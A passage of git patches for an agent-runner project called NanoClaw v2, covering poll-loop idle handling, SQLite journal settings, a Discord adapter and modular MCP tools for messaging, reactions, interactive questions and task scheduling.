+ content: JSON.stringify({ text: `Error: ${err instanceof Error ? err.message : String(err)}` }), + }); + } markCompleted(ids); log(`Completed ${ids.length} message(s)`); @@ -83,34 +96,43 @@ interface QueryResult { resumeAt?: string; } -async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig): Promise { +async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig, processingIds: string[]): Promise { let querySessionId: string | undefined; let done = false; + let lastEventTime = Date.now(); - // Concurrent polling: push new messages into the active query + // Concurrent polling: push follow-ups, checkpoint WAL, detect idle const pollHandle = setInterval(() => { if (done) return; + const newMessages = getPendingMessages(); - if (newMessages.length === 0) return; + if (newMessages.length > 0) { + const newIds = newMessages.map((m) => m.id); + markProcessing(newIds); - const newIds = newMessages.map((m) => m.id); - markProcessing(newIds); + const prompt = formatMessages(newMessages); + log(`Pushing ${newMessages.length} follow-up message(s) into active query`); + query.push(prompt); - const prompt = formatMessages(newMessages); - log(`Pushing ${newMessages.length} follow-up message(s) into active query`); - query.push(prompt); + const newRouting = extractRouting(newMessages); + setRoutingEnv(newRouting, config.env); - // Update routing env for MCP tools with latest message context - const newRouting = extractRouting(newMessages); - setRoutingEnv(newRouting, config.env); + markCompleted(newIds); + lastEventTime = Date.now(); // new input counts as activity + } - // Mark these completed immediately (they've been pushed to the provider) - markCompleted(newIds); + // End stream when agent is idle: no SDK events and no pending messages + if (Date.now() - lastEventTime > IDLE_END_MS) { + log(`No SDK events for ${IDLE_END_MS / 1000}s, ending query`); + query.end(); + } }, ACTIVE_POLL_INTERVAL_MS); try { for await (const event of query.events) { + lastEventTime = Date.now(); handleEvent(event, routing); + touchProcessing(processingIds); if (event.type === 'init') { querySessionId = event.sessionId; diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts index c25ff37..e17c5c5 100644 --- a/container/agent-runner/src/providers/claude.ts +++ b/container/agent-runner/src/providers/claude.ts @@ -200,6 +200,9 @@ export class ClaudeProvider implements AgentProvider { if (aborted) return; messageCount++; + // Yield activity for every SDK event so the poll loop knows the agent is working + yield { type: 'activity' }; + if (message.type === 'system' && message.subtype === 'init') { yield { type: 'init', sessionId: message.session_id }; } else if (message.type === 'result') { @@ -213,7 +216,6 @@ export class ClaudeProvider implements AgentProvider { const tn = message as { summary?: string }; yield { type: 'progress', message: tn.summary || 'Task notification' }; } - // All other message types are logged but not emitted } log(`Query completed after ${messageCount} SDK messages`); } diff --git a/container/agent-runner/src/providers/mock.ts b/container/agent-runner/src/providers/mock.ts index ed5cad1..0794557 100644 --- a/container/agent-runner/src/providers/mock.ts +++ b/container/agent-runner/src/providers/mock.ts @@ -20,9 +20,11 @@ export class MockProvider implements AgentProvider { const events: AsyncIterable = { async *[Symbol.asyncIterator]() { + yield { type: 'activity' }; yield { type: 'init', sessionId: `mock-session-${Date.now()}` }; // Process initial prompt + yield { type: 'activity' }; yield { type: 'result', text: responseFactory(input.prompt) }; // Process any pushed follow-ups diff --git a/container/agent-runner/src/providers/types.ts b/container/agent-runner/src/providers/types.ts index 6e43f3b..b0ad4da 100644 --- a/container/agent-runner/src/providers/types.ts +++ b/container/agent-runner/src/providers/types.ts @@ -53,4 +53,5 @@ export type ProviderEvent = | { type: 'init'; sessionId: string } | { type: 'result'; text: string | null } | { type: 'error'; message: string; retryable: boolean; classification?: string } - | { type: 'progress'; message: string }; + | { type: 'progress'; message: string } + | { type: 'activity' }; diff --git a/src/session-manager.ts b/src/session-manager.ts index 361c198..4048cfb 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -80,7 +80,7 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void const dbPath = sessionDbPath(agentGroupId, sessionId); if (!fs.existsSync(dbPath)) { const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); db.exec(SESSION_SCHEMA); db.close(); log.debug('Session DB created', { dbPath }); @@ -105,7 +105,7 @@ export function writeSessionMessage( ): void { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); try { db.prepare( @@ -134,7 +134,7 @@ export function writeSessionMessage( export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); return db; } From b36f127acc7dfed2df01df7027e047e89f2b8882 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 01:40:52 +0300 Subject: [PATCH 016/295] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/channel-registry.test.ts | 9 +++++---- src/db/messaging-groups.ts | 4 +--- src/index-v2.ts | 6 +----- 3 files changed, 7 insertions(+), 12 deletions(-) diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 4032b7a..d78761b 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -29,7 +29,9 @@ function now() { } /** Create a mock ChannelAdapter for testing. */ -function createMockAdapter(channelType: string): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { +function createMockAdapter( + channelType: string, +): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { const delivered: OutboundMessage[] = []; const inbound: InboundMessage[] = []; let setupConfig: ChannelSetup | null = null; @@ -74,9 +76,8 @@ describe('channel registry', () => { }); it('should register and retrieve channel adapters', async () => { - const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = await import( - './channel-registry.js' - ); + const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = + await import('./channel-registry.js'); registerChannelAdapter('test-channel', { factory: () => createMockAdapter('test'), diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 5d431f9..ef3b46c 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -27,9 +27,7 @@ export function getAllMessagingGroups(): MessagingGroup[] { } export function getMessagingGroupsByChannel(channelType: string): MessagingGroup[] { - return getDb() - .prepare('SELECT * FROM messaging_groups WHERE channel_type = ?') - .all(channelType) as MessagingGroup[]; + return getDb().prepare('SELECT * FROM messaging_groups WHERE channel_type = ?').all(channelType) as MessagingGroup[]; } export function updateMessagingGroup( diff --git a/src/index-v2.ts b/src/index-v2.ts index eb2428b..396acd8 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -20,11 +20,7 @@ import { log } from './log.js'; // import './channels/discord-v2.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; -import { - initChannelAdapters, - teardownChannelAdapters, - getChannelAdapter, -} from './channels/channel-registry.js'; +import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; async function main(): Promise { log.info('NanoClaw v2 starting'); From afbc20a6c4687d5ebcfcbbdbaf51145f5609540e Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 02:53:39 +0300 Subject: [PATCH 017/295] v2 phase 4+5: Discord via Chat SDK, expanded MCP tools, message seq IDs - Chat SDK bridge + Discord adapter (gateway listener, message routing) - MCP tools refactored into modular structure: core (send_message, send_file, edit_message, add_reaction), scheduling (schedule/list/cancel/pause/resume tasks), interactive (ask_user_question, send_card), agents (send_to_agent) - Message seq IDs: shared integer sequence across messages_in/out so agents see small numeric IDs instead of platform snowflakes - busy_timeout=5000 for session DB (poll loop + MCP server concurrent access) - Always copy agent-runner source to fix stale cache when non-index files change - Seed script for Discord testing, e2e test script Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 3 + container/agent-runner/src/db/messages-in.ts | 1 + container/agent-runner/src/db/messages-out.ts | 55 +- container/agent-runner/src/formatter.ts | 6 +- container/agent-runner/src/index-v2.ts | 2 +- .../agent-runner/src/mcp-tools/agents.ts | 58 + container/agent-runner/src/mcp-tools/core.ts | 190 +++ container/agent-runner/src/mcp-tools/index.ts | 53 + .../agent-runner/src/mcp-tools/interactive.ts | 147 ++ .../agent-runner/src/mcp-tools/scheduling.ts | 199 +++ container/agent-runner/src/mcp-tools/types.ts | 6 + package-lock.json | 1439 ++++++++++++++++- package.json | 3 + scripts/seed-discord.ts | 78 + scripts/test-v2-channel-e2e.ts | 257 +++ src/channels/chat-sdk-bridge.ts | 189 +++ src/channels/discord-v2.ts | 22 + src/container-runner-v2.ts | 11 +- src/db/schema.ts | 2 + src/index-v2.ts | 2 +- src/session-manager.ts | 16 +- 21 files changed, 2702 insertions(+), 37 deletions(-) create mode 100644 container/agent-runner/src/mcp-tools/agents.ts create mode 100644 container/agent-runner/src/mcp-tools/core.ts create mode 100644 container/agent-runner/src/mcp-tools/index.ts create mode 100644 container/agent-runner/src/mcp-tools/interactive.ts create mode 100644 container/agent-runner/src/mcp-tools/scheduling.ts create mode 100644 container/agent-runner/src/mcp-tools/types.ts create mode 100644 scripts/seed-discord.ts create mode 100644 scripts/test-v2-channel-e2e.ts create mode 100644 src/channels/chat-sdk-bridge.ts create mode 100644 src/channels/discord-v2.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index a59d731..46f4a70 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -8,6 +8,7 @@ export function getSessionDb(): Database.Database { if (!_db) { _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); _db.pragma('journal_mode = DELETE'); + _db.pragma('busy_timeout = 5000'); _db.pragma('foreign_keys = ON'); } return _db; @@ -20,6 +21,7 @@ export function initTestSessionDb(): Database.Database { _db.exec(` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', @@ -34,6 +36,7 @@ export function initTestSessionDb(): Database.Database { ); CREATE TABLE messages_out ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, delivered INTEGER DEFAULT 0, diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index d97a4ba..579eb15 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -2,6 +2,7 @@ import { getSessionDb } from './connection.js'; export interface MessageInRow { id: string; + seq: number | null; kind: string; timestamp: string; status: string; diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 97db901..df6ebef 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -2,6 +2,7 @@ import { getSessionDb } from './connection.js'; export interface MessageOutRow { id: string; + seq: number | null; in_reply_to: string | null; timestamp: string; delivered: number; @@ -26,22 +27,44 @@ export interface WriteMessageOut { content: string; } -/** Write a new outbound message. */ -export function writeMessageOut(msg: WriteMessageOut): void { - getSessionDb() - .prepare( - `INSERT INTO messages_out (id, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, - ) - .run({ - in_reply_to: null, - deliver_after: null, - recurrence: null, - platform_id: null, - channel_type: null, - thread_id: null, - ...msg, - }); +/** Write a new outbound message, auto-assigning a seq number. */ +export function writeMessageOut(msg: WriteMessageOut): number { + const db = getSessionDb(); + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; + + db.prepare( + `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ).run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + seq: nextSeq, + }); + + return nextSeq; +} + +/** Look up a message's platform ID by seq number. */ +export function getMessageIdBySeq(seq: number): string | null { + const inRow = getSessionDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as { id: string } | undefined; + if (inRow) return inRow.id; + const outRow = getSessionDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as { id: string } | undefined; + return outRow?.id ?? null; } /** Get undelivered messages (for host polling). */ diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index f3bb5a8..ce48030 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -67,7 +67,8 @@ function formatChatMessages(messages: MessageInRow[]): string { const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; const time = formatTime(msg.timestamp); const text = content.text || ''; - lines.push(`${escapeXml(text)}`); + const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + lines.push(`${escapeXml(text)}`); } lines.push(''); return lines.join('\n'); @@ -78,7 +79,8 @@ function formatSingleChat(msg: MessageInRow): string { const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; const time = formatTime(msg.timestamp); const text = content.text || ''; - return `${escapeXml(text)}`; + const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + return `${escapeXml(text)}`; } function formatTaskMessage(msg: MessageInRow): string { diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts index 1005e56..db6523a 100644 --- a/container/agent-runner/src/index-v2.ts +++ b/container/agent-runner/src/index-v2.ts @@ -64,7 +64,7 @@ async function main(): Promise { // MCP server path const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'mcp-tools.js'); + const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); // SDK env const env: Record = { diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts new file mode 100644 index 0000000..54e50b6 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -0,0 +1,58 @@ +/** + * Agent-to-agent MCP tools: send_to_agent. + */ +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const sendToAgent: McpToolDefinition = { + tool: { + name: 'send_to_agent', + description: 'Send a message to another agent group.', + inputSchema: { + type: 'object' as const, + properties: { + agentGroupId: { type: 'string', description: 'Target agent group ID' }, + text: { type: 'string', description: 'Message content' }, + sessionId: { type: 'string', description: 'Target specific session (optional)' }, + }, + required: ['agentGroupId', 'text'], + }, + }, + async handler(args) { + const agentGroupId = args.agentGroupId as string; + const text = args.text as string; + if (!agentGroupId || !text) return err('agentGroupId and text are required'); + + const id = generateId(); + + writeMessageOut({ + id, + kind: 'chat', + channel_type: 'agent', + platform_id: agentGroupId, + thread_id: (args.sessionId as string) || null, + content: JSON.stringify({ text }), + }); + + log(`send_to_agent: ${id} → ${agentGroupId}`); + return ok(`Message sent to agent ${agentGroupId} (id: ${id})`); + }, +}; + +export const agentTools: McpToolDefinition[] = [sendToAgent]; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts new file mode 100644 index 0000000..c607c6c --- /dev/null +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -0,0 +1,190 @@ +/** + * Core MCP tools: send_message, send_file, edit_message, add_reaction. + */ +import fs from 'fs'; +import path from 'path'; + +import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const sendMessage: McpToolDefinition = { + tool: { + name: 'send_message', + description: 'Send a chat message to the current conversation or a specified destination.', + inputSchema: { + type: 'object' as const, + properties: { + text: { type: 'string', description: 'Message content' }, + channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, + platformId: { type: 'string', description: 'Target platform ID' }, + threadId: { type: 'string', description: 'Target thread ID' }, + }, + required: ['text'], + }, + }, + async handler(args) { + const text = args.text as string; + if (!text) return err('text is required'); + + const id = generateId(); + const r = routing(); + + const seq = writeMessageOut({ + id, + kind: 'chat', + platform_id: (args.platformId as string) || r.platform_id, + channel_type: (args.channel as string) || r.channel_type, + thread_id: (args.threadId as string) || r.thread_id, + content: JSON.stringify({ text }), + }); + + log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`); + return ok(`Message sent (id: ${seq})`); + }, +}; + +export const sendFile: McpToolDefinition = { + tool: { + name: 'send_file', + description: 'Send a file to the current conversation.', + inputSchema: { + type: 'object' as const, + properties: { + path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, + text: { type: 'string', description: 'Optional accompanying message' }, + filename: { type: 'string', description: 'Display name (default: basename of path)' }, + }, + required: ['path'], + }, + }, + async handler(args) { + const filePath = args.path as string; + if (!filePath) return err('path is required'); + + const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); + if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`); + + const id = generateId(); + const filename = (args.filename as string) || path.basename(resolvedPath); + const r = routing(); + + // Copy file to outbox + const outboxDir = path.join('/workspace/outbox', id); + fs.mkdirSync(outboxDir, { recursive: true }); + fs.copyFileSync(resolvedPath, path.join(outboxDir, filename)); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), + }); + + log(`send_file: ${id} → ${filename}`); + return ok(`File sent (id: ${id}, filename: ${filename})`); + }, +}; + +export const editMessage: McpToolDefinition = { + tool: { + name: 'edit_message', + description: 'Edit a previously sent message.', + inputSchema: { + type: 'object' as const, + properties: { + messageId: { type: 'integer', description: 'Message ID (the numeric id shown in messages)' }, + text: { type: 'string', description: 'New message content' }, + }, + required: ['messageId', 'text'], + }, + }, + async handler(args) { + const seq = Number(args.messageId); + const text = args.text as string; + if (!seq || !text) return err('messageId and text are required'); + + const platformId = getMessageIdBySeq(seq); + if (!platformId) return err(`Message #${seq} not found`); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ operation: 'edit', messageId: platformId, text }), + }); + + log(`edit_message: #${seq} → ${platformId}`); + return ok(`Message edit queued for #${seq}`); + }, +}; + +export const addReaction: McpToolDefinition = { + tool: { + name: 'add_reaction', + description: 'Add an emoji reaction to a message.', + inputSchema: { + type: 'object' as const, + properties: { + messageId: { type: 'integer', description: 'Message ID (the numeric id shown in messages)' }, + emoji: { type: 'string', description: 'Emoji name (e.g., thumbs_up, heart, check)' }, + }, + required: ['messageId', 'emoji'], + }, + }, + async handler(args) { + const seq = Number(args.messageId); + const emoji = args.emoji as string; + if (!seq || !emoji) return err('messageId and emoji are required'); + + const platformId = getMessageIdBySeq(seq); + if (!platformId) return err(`Message #${seq} not found`); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }), + }); + + log(`add_reaction: #${seq} → ${emoji} on ${platformId}`); + return ok(`Reaction queued for #${seq}`); + }, +}; + +export const coreTools: McpToolDefinition[] = [sendMessage, sendFile, editMessage, addReaction]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts new file mode 100644 index 0000000..254d802 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -0,0 +1,53 @@ +/** + * MCP tools barrel — collects all tool modules and starts the server. + * + * Each module exports a McpToolDefinition[] array. This file registers + * them all with the MCP server. Adding a new tool module requires only + * importing it here and spreading its tools array. + */ +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; + +import type { McpToolDefinition } from './types.js'; +import { coreTools } from './core.js'; +import { schedulingTools } from './scheduling.js'; +import { interactiveTools } from './interactive.js'; +import { agentTools } from './agents.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools]; + +const toolMap = new Map(); +for (const t of allTools) { + toolMap.set(t.tool.name, t); +} + +async function startMcpServer(): Promise { + const server = new Server({ name: 'nanoclaw', version: '2.0.0' }, { capabilities: { tools: {} } }); + + server.setRequestHandler(ListToolsRequestSchema, async () => ({ + tools: allTools.map((t) => t.tool), + })); + + server.setRequestHandler(CallToolRequestSchema, async (request) => { + const { name, arguments: args } = request.params; + const tool = toolMap.get(name); + if (!tool) { + return { content: [{ type: 'text', text: `Unknown tool: ${name}` }] }; + } + return tool.handler(args ?? {}); + }); + + const transport = new StdioServerTransport(); + await server.connect(transport); + log(`MCP server started with ${allTools.length} tools: ${allTools.map((t) => t.tool.name).join(', ')}`); +} + +startMcpServer().catch((err) => { + log(`MCP server error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts new file mode 100644 index 0000000..dbd6ad6 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -0,0 +1,147 @@ +/** + * Interactive MCP tools: ask_user_question, send_card. + * + * ask_user_question is a blocking tool call — it writes a messages_out row + * with a question card, then polls messages_in for the response. + */ +import { getSessionDb } from '../db/connection.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +export const askUserQuestion: McpToolDefinition = { + tool: { + name: 'ask_user_question', + description: + 'Ask the user a multiple-choice question and wait for their response. This is a blocking call — execution pauses until the user responds or the timeout expires.', + inputSchema: { + type: 'object' as const, + properties: { + question: { type: 'string', description: 'The question to ask' }, + options: { + type: 'array', + items: { type: 'string' }, + description: 'Button labels for the user to choose from', + }, + timeout: { type: 'number', description: 'Timeout in seconds (default: 300)' }, + }, + required: ['question', 'options'], + }, + }, + async handler(args) { + const question = args.question as string; + const options = args.options as string[]; + const timeout = ((args.timeout as number) || 300) * 1000; + if (!question || !options?.length) return err('question and options are required'); + + const questionId = generateId(); + const r = routing(); + + // Write question card to messages_out + writeMessageOut({ + id: questionId, + kind: 'chat-sdk', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ + type: 'ask_question', + questionId, + question, + options, + }), + }); + + log(`ask_user_question: ${questionId} → "${question}" [${options.join(', ')}]`); + + // Poll for response in messages_in + const deadline = Date.now() + timeout; + while (Date.now() < deadline) { + const response = getSessionDb() + .prepare("SELECT content FROM messages_in WHERE kind = 'system' AND content LIKE ? AND status = 'pending' LIMIT 1") + .get(`%"questionId":"${questionId}"%`) as { content: string } | undefined; + + if (response) { + const parsed = JSON.parse(response.content); + // Mark the response as completed so the poll loop doesn't pick it up + getSessionDb() + .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE kind = 'system' AND content LIKE ?") + .run(`%"questionId":"${questionId}"%`); + + log(`ask_user_question response: ${questionId} → ${parsed.selectedOption}`); + return ok(parsed.selectedOption); + } + + await sleep(1000); + } + + log(`ask_user_question timeout: ${questionId}`); + return err(`Question timed out after ${timeout / 1000}s`); + }, +}; + +export const sendCard: McpToolDefinition = { + tool: { + name: 'send_card', + description: 'Send a structured card (interactive or display-only) to the current conversation.', + inputSchema: { + type: 'object' as const, + properties: { + card: { + type: 'object', + description: 'Card structure with title, description, and optional children/actions', + }, + fallbackText: { type: 'string', description: 'Text fallback for platforms without card support' }, + }, + required: ['card'], + }, + }, + async handler(args) { + const card = args.card as Record; + if (!card) return err('card is required'); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat-sdk', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ type: 'card', card, fallbackText: (args.fallbackText as string) || '' }), + }); + + log(`send_card: ${id}`); + return ok(`Card sent (id: ${id})`); + }, +}; + +export const interactiveTools: McpToolDefinition[] = [askUserQuestion, sendCard]; diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts new file mode 100644 index 0000000..3f3d0d0 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -0,0 +1,199 @@ +/** + * Scheduling MCP tools: schedule_task, list_tasks, cancel_task, pause_task, resume_task. + * + * Tasks are messages_in rows with process_after timestamps and optional recurrence. + * The host sweep detects due tasks and wakes the container. + */ +import { getSessionDb } from '../db/connection.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const scheduleTask: McpToolDefinition = { + tool: { + name: 'schedule_task', + description: + 'Schedule a one-shot or recurring task. The task will be processed at the specified time. Use cron expressions for recurring tasks.', + inputSchema: { + type: 'object' as const, + properties: { + prompt: { type: 'string', description: 'Task instructions/prompt' }, + processAfter: { type: 'string', description: 'ISO timestamp for first run (e.g., 2024-01-15T09:00:00Z)' }, + recurrence: { type: 'string', description: 'Cron expression for recurring tasks (e.g., "0 9 * * 1-5" for weekdays at 9am)' }, + script: { type: 'string', description: 'Optional pre-agent script to run before processing' }, + }, + required: ['prompt', 'processAfter'], + }, + }, + async handler(args) { + const prompt = args.prompt as string; + const processAfter = args.processAfter as string; + if (!prompt || !processAfter) return err('prompt and processAfter are required'); + + const id = generateId(); + const r = routing(); + const recurrence = (args.recurrence as string) || null; + const script = (args.script as string) || null; + + const content = JSON.stringify({ prompt, script }); + + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, timestamp, status, status_changed, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, datetime('now'), 'pending', datetime('now'), 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + id, + process_after: processAfter, + recurrence, + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content, + }); + + log(`schedule_task: ${id} at ${processAfter}${recurrence ? ` (recurring: ${recurrence})` : ''}`); + return ok(`Task scheduled (id: ${id}, runs at: ${processAfter}${recurrence ? `, recurrence: ${recurrence}` : ''})`); + }, +}; + +export const listTasks: McpToolDefinition = { + tool: { + name: 'list_tasks', + description: 'List scheduled and pending tasks.', + inputSchema: { + type: 'object' as const, + properties: { + status: { type: 'string', description: 'Filter by status: pending, processing, completed, paused (default: all non-completed)' }, + }, + }, + }, + async handler(args) { + const status = args.status as string | undefined; + let rows; + if (status) { + rows = getSessionDb() + .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status = ? ORDER BY process_after ASC") + .all(status); + } else { + rows = getSessionDb() + .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status NOT IN ('completed') ORDER BY process_after ASC") + .all(); + } + + if ((rows as unknown[]).length === 0) return ok('No tasks found.'); + + const lines = (rows as Array<{ id: string; status: string; process_after: string | null; recurrence: string | null; content: string }>).map((r) => { + const content = JSON.parse(r.content); + const prompt = (content.prompt as string || '').slice(0, 80); + return `- ${r.id} [${r.status}] at=${r.process_after || 'now'} ${r.recurrence ? `recur=${r.recurrence} ` : ''}→ ${prompt}`; + }); + + return ok(lines.join('\n')); + }, +}; + +export const cancelTask: 